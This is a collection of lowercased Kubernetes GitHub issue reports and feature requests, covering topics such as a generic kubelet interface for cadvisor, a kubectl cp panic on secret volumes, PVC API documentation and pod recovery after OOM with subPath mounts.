e.g.  uname -a  :\r - install tools:\r - others:\r \r

proposal to create a generic interface from kubelet to cadvisor    1. background  cadvisor was integrated with kubernetes in issue  4798, which made  the deployment of kubernetes simpler and out-of-box ux smoother for new users. however, at the same time, it created a tight coupling between kubelet and cadvisor. we'd like create a generic interface so that other container health checking tools can be used with kubernetes.    2. motivation  it is great that there's a built-in cadvisor when a new user starts to  play around with kubernetes. for most users, continuing to use this cadvisor, and then configure heapster, influxdb, and grafana is the natural way to go. however, for other users, they might prefer to use other open source tools for collecting this information or create their own custom tools.  as there is no way to disable cadvisor, one way is to run both cadvisor and their custom tools at the same time, which is inefficient and wasteful.  other use cases to further motivate this proposal are: - a  deploying kubernetes in a public cloud, and the cloud provider already provides   similar health checking tools. - b  deploying kubernetes on top of mesos, where there could be multiple frameworks   deployed on the same mesos node. if each framework is using its own health checking   tool, they would perform duplicate works. - c  the kubenetes-bundled cadvisor sometimes have performance issues where it is    consuming a much larger amount of resources than expected  see issues  10451,  16296 .    in a production environment, one might want to run a stable version of cadvisor,    and have kubernetes simply connecting to it instead of using the newer built-in one.    3. planned work  we're planning to create a generic interface and a set of kubernetes-based  instead of  cadvisor-based  health checking data structs, so that it can interface with different  health checking backends, including cadvisor. integrating kubernetes with a new health checking tool would involve writing a new driver that implements that generic interface.     3a. phased approach  we'd like to phase this work to smaller steps. initially, we are planning to create this generic interface almost identical to what is defined in pkg/kubelet/cadvisor/types.go, and the corresponding data structs directly from cadvisor. this allows us to put in the generic health checking interface with minimal changes to the existing code.  in the 2nd phase, we would like to clean up the generic interface and the corresponding data structs as not everything cadvisor collects are used by kubelet. basically, we will make the interface and data structs more generic so that new health check drivers can be more  easily written.  in the 3rd phase, we will add one or two additional cmd flags to allow alternative health  checking driver to be used when starting kubernetes. of course, the default setting will be to use the built-in cadvisor.

https://github.com/kubernetes/kubernetes/pull/31640 added events to federation namespace controller, but creating namespace events is failing on our e2e tests:      server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ e2e-tests-federation-replicaset-s7xan.147625127063baf8\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  api.ownerreference nil , finalizers:  string nil , clustername:\ \ }, involvedobject:api.objectreference{kind:\ namespace\ , namespace:\ \ , name:\ e2e-tests-federation-replicaset-s7xan\ , uid:\ 80f0b389-7f78-11e6-898f-0a580ab50304\ , apiversion:\ v1\ , resourceversion:\ 4\ , fieldpath:\ \ }, reason:\ createincluster\ , message:\ creating namespace in cluster federation-e2e-gce-us-central1-f\ , source:api.eventsource{component:\ federated-namespace-controller\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63610003489, nsec:135639288, loc:  time.location  0x84ad960 }}, lasttimestamp:unversioned.time{time:time.time{sec:63610003489, nsec:135639288, loc:  time.location  0x84ad960 }}, count:1, type:\ normal\ }': 'namespaces \ default\  not found'  will not retry!       it is because, namespaces do not have objectmeta.namespace set and the event recorder library uses that to figure out the namespace in which the event should be generated: https://github.com/kubernetes/kubernetes/blob/a8053c7c59024a40bac5debe31857084d79729c2/pkg/client/record/event.go l299.  we have 2 options to fix this: - update the library to use the namespace name if the objectreference is for a namespace object. - ensure that api.namespacedefault namespace exists in federation  cc @kubernetes/sig-cluster-federation

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r current version\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \ container runtime is down\ \r \r   how to reproduce it    as minimally and precisely as possible :\r in pkg/kubelet/runtime.go file, at the end of the file \r func newruntimestate{\r ... \r     lastbaseruntimesync: time.time{}\r \r my question is why we set it to 0, this way, we always got  \ container runtime is down\  error \r when runtimestate.errors is called in kubelet.syncloop funcdtion.\r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : but report\r \r   kubernetes version    use  kubectl version  : head\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when i modify manifest files in  /etc/kubernetes/manifests  then the pod is deleted but not recreated.\r \r   what you expected to happen  :\r pod with new configuration should be created\r \r   how to reproduce it    as minimally and precisely as possible :\r in my case it broke in one of the first attempts  <5  of modifying etcd manifest file.\r \r   anything else we need to know  :\r \r @kubernetes/sig-node-bugs \r \r

i found that   securitycontextdeny   https://github.com/kubernetes/kubernetes/blob/72207db4552db94929fb760cca6373c1bd57a0ac/plugin/pkg/admission/securitycontext/scdeny/admission.go  could be improved:\r - stale comment on  admit    function can be fixed  should also mention supplementalgroups and fsgroup fields \r - we can extract function for checking  podsecuritycontext \r - we can extract function for checking  securitycontext \r \r after extracting functions  admit    method will be shorter and easy to read, without duplicated code and verbose details.\r \r cc @pweil-

this was spawned from https://github.com/kubernetes/kubernetes/issues/30079.\r \r our current  testapi.go  groups are only supporting single version per groups, whereas regular groups are multi-versioned. this causes a lot of problems with testing and leaves some path not tested sufficiently enough.\r \r @kubernetes/sig-api-machinery-misc @liggitt fyi\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46823/pull-kubernetes-e2e-gce-etcd3/35722/\r \r    \r i0613 08:53:55.962  ginkgo ran 1 suite in 32m39.916549611s\r i0613 08:53:55.963  test suite passed\r i0613 08:53:56.003  shutting down test cluster in background.\r w0613 08:53:56.103  2017/06/13 08:53:55 util.go:131: step './hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ ' finished in 32m40.6674528s\r w0613 08:53:56.104  2017/06/13 08:53:55 util.go:129: running: ./hack/e2e-internal/e2e-down.sh\r w0613 08:53:56.104  project: k8s-jkns-pr-gce-etcd3\r w0613 08:53:56.104  zone: us-central1-f\r w0613 08:54:13.272  deleted  https://www.googleapis.com/compute/v1/projects/k8s-jkns-pr-gce-etcd3/global/firewalls/e2e-35722-minion-e2e-35722-http-alt .\r w0613 08:54:24.064  deleted  https://www.googleapis.com/compute/v1/projects/k8s-jkns-pr-gce-etcd3/global/firewalls/e2e-35722-minion-e2e-35722-nodeports .\r i0613 08:54:24.165  bringing down cluster using provider: gce\r w0613 08:54:24.844  project: k8s-jkns-pr-gce-etcd3\r w0613 08:54:24.845  zone: us-central1-f\r w0613 08:54:26.479  instance_groups=e2e-35722-minion-group\r w0613 08:54:26.480  node_names=e2e-35722-minion-group-57b8 e2e-35722-minion-group-c0px e2e-35722-minion-group-s7tg e2e-35722-minion-group-v8gg\r i0613 08:54:26.580  bringing down cluster\r w0613 08:55:18.958  2017/06/13 08:55:18 util.go:155: interrupt testing after 55m0s timeout. will terminate in another 15m\r w0613 08:55:18.959  \r w0613 08:55:18.959  \r w0613 08:55:18.959  command killed by keyboard interrupt\r w0613 08:55:18.959  \r w0613 08:55:18.959  2017/06/13 08:55:18 util.go:131: step './hack/e2e-internal/e2e-down.sh' finished in 1m22.993032121s\r w0613 08:55:18.959  2017/06/13 08:55:18 util.go:129: running: ./hack/e2e-internal/e2e-down.sh\r w0613 08:55:18.992  project: k8s-jkns-pr-gce-etcd3\r w0613 08:55:18.993  zone: us-central1-f\r i0613 08:55:19.093  shutting down test cluster in background.\r i0613 08:55:20.207  bringing down cluster using provider: gce\r w0613 08:55:20.884  project: k8s-jkns-pr-gce-etcd3\r w0613 08:55:20.884  zone: us-central1-f\r i0613 08:55:22.526  bringing down cluster\r w0613 08:55:22.627  instance_groups=e2e-35722-minion-group\r w0613 08:55:22.627  node_names=e2e-35722-minion-group-57b8 e2e-35722-minion-group-c0px e2e-35722-minion-group-s7tg e2e-35722-minion-group-v8gg\r w0613 08:55:24.930  error:  gcloud.compute.instance-groups.managed.delete  some requests did not succeed:\r w0613 08:55:24.931   - the resource 'projects/k8s-jkns-pr-gce-etcd3/zones/us-central1-f/instancegroupmanagers/e2e-35722-minion-group' is not ready\r w0613 08:55:24.931  \r w0613 08:55:24.972  failed to delete instance group s .\r w0613 08:55:26.699  error:  gcloud.compute.instance-templates.delete  could not fetch resource:\r w0613 08:55:26.700   - the instance_template resource 'projects/k8s-jkns-pr-gce-etcd3/global/instancetemplates/e2e-35722-minion-template' is already being used by 'projects/k8s-jkns-pr-gce-etcd3/zones/us-central1-f/instancegroupmanagers/e2e-35722-minion-group'\r w0613 08:55:26.700  \r i0613 08:55:30.056  removing etcd replica, name: e2e-35722-master, port: 2379, result: 0\r i0613 08:55:31.044  removing etcd replica, name: e2e-35722-master, port: 4002, result: 0\r w0613 08:55:37.289  updated  https://www.googleapis.com/compute/v1/projects/k8s-jkns-pr-gce-etcd3/zones/us-central1-f/instances/e2e-35722-master .\r w0613 08:56:45.139  deleted  https://www.googleapis.com/compute/v1/projects/k8s-jkns-pr-gce-etcd3/zones/us-central1-f/instances/e2e-35722-master .\r w0613 08:57:03.664  deleted  https://www.googleapis.com/compute/v1/projects/k8s-jkns-pr-gce-etcd3/global/firewalls/e2e-35722-master-https .\r w0613 08:57:09.487  deleted  https://www.googleapis.com/compute/v1/projects/k8s-jkns-pr-gce-etcd3/global/firewalls/e2e-35722-master-etcd .\r w0613 08:57:10.020  deleted  https://www.googleapis.com/compute/v1/projects/k8s-jkns-pr-gce-etcd3/global/firewalls/e2e-35722-minion-all .\r

feature request  \r the goal is to be able to add a vnet in a different resource group when creating a load balancer. currently, the kubernetes azure cloudprovider only works with the resource name and not the full id when assigning a vnet to a load balancer.\r \r   use case  \r the security team that handles vnet configuration does not work in the same resource group as the infra team.\r \r   example implementation  \r https://github.com/violetrainbows/kubernetes/commit/bc10971c11ee2dc732a8e3455f5e16e4f61de988\r \r @brendandburns @colemickens

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r i was not able to deploy a secret as volume in addition to a pvc.\r \r   what you expected to happen  :\r i expected i would be able to.\r \r   how to reproduce it  as minimally and precisely as possible   :\r mount a pvc and a secret, or any two volume types.\r \r   anything else we need to know?  :\r this is probably just a request for a documentation enhancement, unless there are plans to allow multiple volume types in the future.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t20:41:24z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+coreos.0\ , gitcommit:\ 8fc95b64d0fe1608d0f6c788eaad2c004f31e7b7\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t19:52:15z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r aws\r - os  e.g. from /etc/os-release :\r coreos\r - kernel  e.g.  uname -a  :\r not sure, don't have root access to the nodes or master.\r - install tools:\r i was using helm to deploy but it should occur with kubectl as well.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r if a 1.8.x  kubernetes master with a single controller-manager is configured with --leader-elect=false, deleting a deployment through the api with v1meta.deletepropagationforeground doesn't work.\r \r the deployment has its deletiontimestamp set and a foregrounddeletion finalizer is added, but the pod, rc and deployment are not deleted.\r \r   what you expected to happen  :\r \r the pod, rc and deployment should be deleted when the controller-manager uses --leader-elect=false.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i used kubeadm with calico networking, and modified the controller-manager configuration via\r \r sudo sed -i /etc/kubernetes/manifests/kube-controller-manager.yaml -e '/leader-elect/ s/true/false/'\r \r and then ran https://github.com/kubernetes/client-go/blob/master/examples/create-update-delete-deployment/ to create and delete deployments.\r \r \r   anything else we need to know?  :\r \r i suspect the problem is related to this change:\r https://github.com/kubernetes/kubernetes/commit/253b047d89eac2b5a3074ece31842a8e1c4302d2\r \r it appears to require leader election before the gc controller will finish initialization.\r looking at controller-manager logs with leader-elect=false, i saw this log entry from garbagecollector/graph_builder.go:\r \r    \ graphbuilder running\ \r \r i did not see the \ started %d new monitors, %d currently running\  log entry at the end of the startmonitors   function.  that seems consistent with the gc controller waiting for \ <-gb.informersstarted\ \r \r   environment  :\r - kubernetes version  use  kubectl version  : tested with 1.8.2 and 1.8.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : vagrant virtualbox with the ubuntu/xenial64 box\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i don't know why happend, just find that kubelet has occupy high cpu, and try again and again to call syscall. i will show the detail fellow.\r \r   what you expected to happen  :\r kubelet work well\r \r   how to reproduce it  as minimally and precisely as possible   :\r i don't know how to make it happened. one of my colleague create a k8s cluster several days ago, and today one of them work not well, after use dlv to debug, find that kubelet is trying to recall syscall.\r \r   anything else we need to know?  : \r any thing you want to know, please told me.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :\r    \r ~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r ~  uname -a\r linux n-dev-192-168-0-128 4.4.0-89-generic  112~14.04.1-ubuntu smp tue aug 1 22:08:32 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:kubeadm\r - others:calico network plugin\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r as the example described in  network policy  https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy  , when calico/cilium/weave-net is used, the policy in 'limit access to the nginx service' phase limits that only those pods with label 'access=true' can access the nginx service. however, it not true. \r \r in my kubernetes cluster with calico, it turns out that the pods with label 'access=true' can access pod under nginx deploy but not nginx service. \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r to reproduce this, just let nginx pods and pods with 'access=true' run at different nodes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.9.0\r - cloud provider or hardware configuration:\r vagrant\r - os  e.g. from /etc/os-release :\r centos 7\r - kernel  e.g.  uname -a  :\r linux 3.10.0-693.11.1.el7.x86_64  1 smp mon dec 4 23:52:40 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

 \r   what happened  :\r \r i get a go stack trace when i try to copy a secrets-mounted directory.\r \r   what you expected to happen  :\r \r i expected to copy the files out to the environment where i'm running  kubectl .\r \r in this example,  /etc/tls  is a secret:\r \r    \r     mounts:\r       /etc/tls from tls  ro \r    \r \r ...\r \r    \r volumes:\r   tls:\r     type:        secret  a volume populated by a secret \r     secretname:  tls\r     optional:    false\r    \r \r i initially expected to be able to just  kubectl cp <pod>:/etc/tls .  and have the files show up, by analogy with, say  /etc/init.d .\r \r that gave me a set of zero-length files.  but that's also what happens if i copy symlinks  e.g.  /etc/rc0.d  , so, fine, it's a little irritating but it's at least consistent, since if i  kubectl  exec into the pod, i see that the actual files are symlinked into  /etc/tls/..data .\r \r then if i do \r \r    \r adam@ixitxachitl:/tmp/kubectl-cp$ kubectl cp $pod:/etc/tls/..data .\r tar: removing leading  /' from member names\r error: open .: is a directory\r    \r \r so it gets angry about overwriting  .  which seems a little suspicious since it should be dumping files into  . .  \r \r copying  ..data  to a named file gives me...a zero-length file.\r \r    \r adam@ixitxachitl:/tmp/kubectl-cp$ kubectl cp $pod:/etc/tls/..data foo\r tar: removing leading  /' from member names\r adam@ixitxachitl:/tmp/kubectl-cp$ ls -l foo\r -rw-r--r--  1 adam  wheel  0 jan  9 11:03 foo\r    \r ok, so what if i add a traling slash to  ..data  ?  it works fine for  /etc/init.d/  after all:\r \r    \r adam@ixitxachitl:/tmp/kubectl-cp$ kubectl cp $pod:/etc/tls/..data/ foo\r tar: removing leading  /' from member names\r panic: runtime error: slice bounds out of range\r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/cmd.untarall 0x2d8c6e0, 0xc4205280c8, 0x7ffeefbff94f, 0x3, 0x7ffeefbff93f, 0xf, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/cp.go:247 +0x2f3\r k8s.io/kubernetes/pkg/kubectl/cmd.copyfrompod 0x2dbc080, 0xc4201e34a0, 0xc4202326c0, 0x2d91e60, 0xc420084010, 0x0, 0x0, 0x7ffeefbff923, 0x1a, 0x7ffeefbff93e, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/cp.go:191 +0x371\r k8s.io/kubernetes/pkg/kubectl/cmd.runcopy 0x2dbc080, 0xc4201e34a0, 0xc4202326c0, 0x2d91e60, 0xc420084008, 0x2d91e60, 0xc420084010, 0xc4203db0c0, 0x2, 0x2, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/cp.go:128 +0x2d1\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdcp.func1 0xc4202326c0, 0xc4203db0c0, 0x2, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/cp.go:69 +0x89\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4202326c0, 0xc4203daf00, 0x2, 0x2, 0xc4202326c0, 0xc4203daf00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4203366c0, 0x5000107, 0x0, 0xffffffffffffffff \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4203366c0, 0xc4201e34a0, 0x2d91e20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:39 +0xd5\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r    \r \r that feels like it should not have happened.\r \r i  can  copy a file out by specifying a single filename:\r \r    \r adam@ixitxachitl:/tmp/kubectl-cp$ kubectl cp $pod:/etc/tls/..data/dhparam.pem dhparam.pem\r tar: removing leading  /' from member names\r adam@ixitxachitl:/tmp/kubectl-cp$ ls -l dhparam.pem\r -rw-r--r--  1 adam  wheel  424 jan  9 11:08 dhparam.pem\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r mount a secret at some directory  /d  .\r \r  kubectl pod:/d/..data/ d \r \r   anything else we need to know?  :\r \r nothing leaps to mind\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5-gke.0\ , gitcommit:\ 2c2a807131fa8708abc92f3513fe167126c8cce5\ , gittreestate:\ clean\ , builddate:\ 2017-12-19t20:05:45z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r gke\r - os  e.g. from /etc/os-release :\r client: macos high sierra 10.13.2s\r container: debian 9\r - kernel  e.g.  uname -a  :\r client: \r    \r darwin ixitxachitl 17.3.0 darwin kernel version 17.3.0: thu nov  9 18:09:22 pst 2017; root:xnu-4570.31.3~1/release_x86_64 x86_64\r    \r container: \r    \r linux jld-nginx-6ffb87f8c7-qwnns 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 gnu/linux\r    \r - install tools:\r locally-installed-as-user google-cloud-sdk; custom dockerfile in container.\r - others:\r nothing to speak of.\r   \r 

it appears like  persistentvolumeclaim.spec.resources.{limits,requests}  fields are using the same  limits / requests  in the pod spec. \r \r this is resulting in api/ kubectl explain  documentation that doesn't make sense for pvcs:\r \r    \r $ kubectl explain pvc.spec.resources\r fields:\r    limits\t<map string string>\r      limits describes the maximum amount of compute resources allowed. more\r      info:\r      https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/\r \r    requests\t<map string string>\r      requests describes the minimum amount of compute resources required. if\r      requests is omitted for a container, it defaults to limits if that is\r      explicitly specified, otherwise to an implementation-defined value. more\r      info:\r      https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/\r    \r \r it is talking about compute resources, whereas the pvc requests are not about  cpu / memory  at all.\r \r a person cannot construct the following request by looking at the api docs for the bespoke fields:\r \r    yaml\r spec:\r   resources:\r     requests:\r       storage: 40gi\r    \r \r  

https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features\r testgrid diff for commit range: https://github.com/kubernetes/kubernetes/compare/f7d9fb474...f7aafaeb4\r \r looks like  59862 \r \r / /  /status approved-for-milestone\r  /milestone v1.10\r \r cc @jdumars @jberkus \r \r /assign @k82cn @janetkuo

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r >  \r i raised as a bug, but may be resolved as wad ... \r \r   what happened  :\r \r from that review :  64258 \r \r in this piece of code : https://github.com/kubernetes/kubernetes/pull/64258/files/8d8b47596e6e71ae705ed2fd1e946e32a98a42f0 diff-6f6577e723201d3cf7ff85de45a73068\r \r    \r const  \r \tkubednsversion = \ 1.14.10\ \r \tcorednsversion = \ 1.1.3\ \r  \r \r // getdnsversion returns the right kube-dns version for a specific k8s version\r func getdnsversion kubeversion  version.version, dns string  string {\r \t// v1.9.0+ uses kube-dns 1.14.10, if feature gate \ coredns\  is disabled.\r \t// v1.9.0+ uses coredns  1.1.3.\r \r \t// in the future when the version is bumped at head; add conditional logic to return the right versions\r \t// also, the version might be bumped for different k8s releases on the same branch\r \tswitch dns {\r \tcase kubeadmconstants.coredns:\r \t\t// return the coredns version\r \t\treturn corednsversion\r \tdefault:\r \t\treturn kubednsversion\r \t}\r }\r \r    \r \r \r   there is a comment:  \r > \t// in the future when the version is bumped at head; add conditional logic to return the right versions\r > \t// also, the version might be bumped for different k8s releases on the same branch\r \r \r obviously, there is no implementation of logic to return the dns version that as pushed for one version of kubernetes.  neither for kube-dns, neither for coredns \r \r \r for instance:\r   coredns 1.0.0 was pushed in the release k8s v1.9.0\r   coredns 1.0.6 was pushed in the release k8s v1.10.0\r   coredns 1.1.3 is now pushed in the coming release k8s v1.11.0\r \r however, the last version coredns 1.1.3 is compatible with all versions of k8s  1.9 and highers .\r \r \r \r   what you expected to happen  :\r - a better description on   what logic should be encoded in this function  . based on example of above, should that getdnsversion function return always 1.1.3 , or check k8s version and return 1.0.0 or 1.0.6 or 1.1.3 ?\r \r - maybe explanation on when this function will not be called with the version of k8s it is released on.\r \r   environment  :\r - kubernetes version  use  kubectl version  : last one - master for 1.11\r - install tools: kubeadm\r \r

what happened  :\r a pod is running and has a volume mount from a configmap/secret with a subpath. if the contents of the configmap/secret change from under it, and then the pod dies via oom killer, it produces this error message and does not recover:\r    \r         message: 'oci runtime create failed: container_linux.go:348: starting container\r           process caused \ process_linux.go:402: container init caused \\\ rootfs_linux.go:58:\r           mounting \\\\\\\ /var/lib/kubelet/pods/80bea268-1395-11e9-ba62-90b11c578803/volume-subpaths/server-credentials/memory-test/0\\\\\\\ \r           to rootfs \\\\\\\ /var/lib/docker/overlay2/1279bf1ccdb8d2d1f21442d59c59086d5a080757731fb8105609dad353a6f524/merged\\\\\\\ \r           at \\\\\\\ /var/lib/docker/overlay2/1279bf1ccdb8d2d1f21442d59c59086d5a080757731fb8105609dad353a6f524/merged/etc/certs/namespace.cer\\\\\\\ \r           caused \\\\\\\ no such file or directory\\\\\\\ \\\ \ : unknown'\r    \r  this does not happen if subpaths are not used.\r \r   what you expected to happen  :\r i would expect the oom killed pod to recover.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i create a deployment with a pod that mounts a subpath, sleeps a bit, then allocates too much memory, so it will be oom killed. i watch this happen, then i change the contents of the configmap from underneath. next time oom happens, instead of the normal oom killed and re-created, there is an error about a missing mount. the same thing does not occur if the volume mount does not use subpath  omitted for brevity .\r \r    \r lmassa@lmassa-dev:~/k8s/tests$ cat memory-test.yaml \r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   name: memory-test\r   namespace: sandbox\r   labels:\r     app: memory-test\r spec:\r   replicas: 1\r   \r   selector:\r     matchlabels:\r       app: memory-test\r   template:\r     metadata:\r       labels:\r         app: memory-test\r     spec:\r       containers:\r       - image: python:3.7\r         name: memory-test\r         command:   \ /usr/local/bin/python\ , \ -c\  \r           this will pause a bit to prevent crash loop backoff, then attempt to allocate 1g memory\r         args:   'import time; time.sleep 30 ; s = \  \     1024   1024   1024 '  \r         resources:\r           limits:\r             cpu: \ 100m\ \r             memory: \ 10mi\ \r           requests:\r             cpu: \ 100m\ \r             memory: \ 10mi\ \r         volumemounts:\r         - mountpath: /etc/mount/file.txt\r           name: memory-test-mount\r           readonly: true\r           subpath: file.txt\r       volumes:\r       - name: memory-test-mount\r         configmap:\r          items:\r          - key: file.txt\r            path: file.txt\r          name: memory-test-mount\r ---\r apiversion: v1\r kind: configmap\r metadata:\r   name: memory-test-mount\r   namespace: sandbox\r data:\r   file.txt: \ some text for the file\ \r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl apply -f memory-test.yaml \r deployment.apps/memory-test created\r configmap/memory-test-mount created\r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl get pods | grep memory\r memory-test-ff796865f-ggnft            1/1     running   0          14s\r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl exec -it memory-test-ff796865f-ggnft /bin/cat /etc/mount/file.txt\r some text for the file\r \r 